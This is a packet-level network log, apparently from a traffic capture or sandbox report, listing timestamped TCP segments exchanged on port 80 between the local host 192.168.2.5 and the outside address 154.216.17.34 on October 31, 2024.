Oct 31, 2024 02:09:13.430025101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430036068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430068016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430092096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430507898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430521011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430532932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430553913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430569887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430753946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430763960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430779934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430790901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430799007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430802107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.430824995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.430833101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431247950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431258917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431269884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431298018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431298971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431325912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431351900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431355000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431391954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431395054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431427956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431432962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431440115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431452036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431472063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431494951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431572914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431582928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431619883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431632042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431643009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431675911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431721926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431734085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431745052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431770086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431782007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431854010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431898117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431899071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431910038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.431941032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.431962967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.469965935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.469988108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.469999075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470026016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.470041990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.470046043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470055103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470067024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470072985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470077991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470083952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470088005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.470236063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.470243931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470254898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470272064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.470289946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.470325947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.484781981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484793901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484807968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484818935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484831095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484843016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484850883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.484858990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484893084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.484926939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.484957933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.484967947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485002041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485331059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485374928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485393047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485404015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485415936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485426903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485438108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485439062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485450983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485456944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485462904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485479116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485492945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485517979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485583067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485594988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485605001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485630989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485647917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485822916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485862970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485877991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485888004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485909939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.485925913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485938072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.485949993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495263100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495275021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495285034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495296001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495316982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495327950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495341063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495351076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495354891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495366096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495368004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495381117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495393038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495404005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495404959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495428085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495428085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495448112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495456934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495459080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495491982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495547056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495558023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495568991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495596886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495608091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495629072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495672941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495687008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495696068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495728970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495738029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495749950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495760918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495775938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495804071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495834112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495877981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495943069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495954037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495966911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495976925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.495987892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.495997906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496037960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496064901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496076107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496084929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496108055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496131897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496184111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496196032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496207952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496220112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496229887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496263981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496324062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496335983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496346951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496364117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496385098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496391058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496396065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496424913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496448040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496511936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496551991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496563911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496577024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496608019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496608973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496617079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496619940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496637106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496644020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496663094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496675968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496851921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496864080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496875048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.496893883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.496920109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522011995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522022963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522041082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522053957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522064924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522102118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522136927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522190094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522207975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522221088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522233963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522234917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522263050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522285938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522298098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522308111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522334099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522349119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522375107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522378922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522389889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522425890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522459984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522470951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522483110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522502899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522537947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522551060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.522569895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522581100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.522598982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.545908928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.545923948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.545934916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.545945883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.545990944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546025038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546183109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546233892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546243906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546253920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546272993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546284914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546295881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546336889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546361923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546361923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546386003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546386003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546397924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546408892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546428919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546442032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546525002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546535969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546549082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546571970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546597958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546797037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546838999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546858072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546869040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546878099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.546911001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.546935081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.547430038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547440052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547451019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547483921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.547504902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.547616959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547657013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547667980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.547667980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.547708035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.547719002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548033953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548089027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548089981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548099995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548110962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548129082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548139095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548151970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548165083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548176050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548181057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548208952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548222065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548261881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548295975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548306942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548316956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548360109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548487902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548499107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548510075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548521042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548533916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548542976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548544884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548563957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548585892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548628092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548674107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548676968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548688889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548722982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548747063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548760891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548770905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548810005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.548815966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548825026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.548868895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.789550066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789562941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789577961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789588928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789601088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789613008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789630890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789633989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.789640903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789657116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789666891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789669991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.789676905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789686918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.789715052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.789750099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790107012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790121078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790131092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790143013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790153027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790163994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790169001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790182114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790189981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790193081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790209055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790210962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790220022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790230036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790240049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790241957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790271044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790291071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790339947 CET	80	49982	154.216.17.34	192.168.2.5
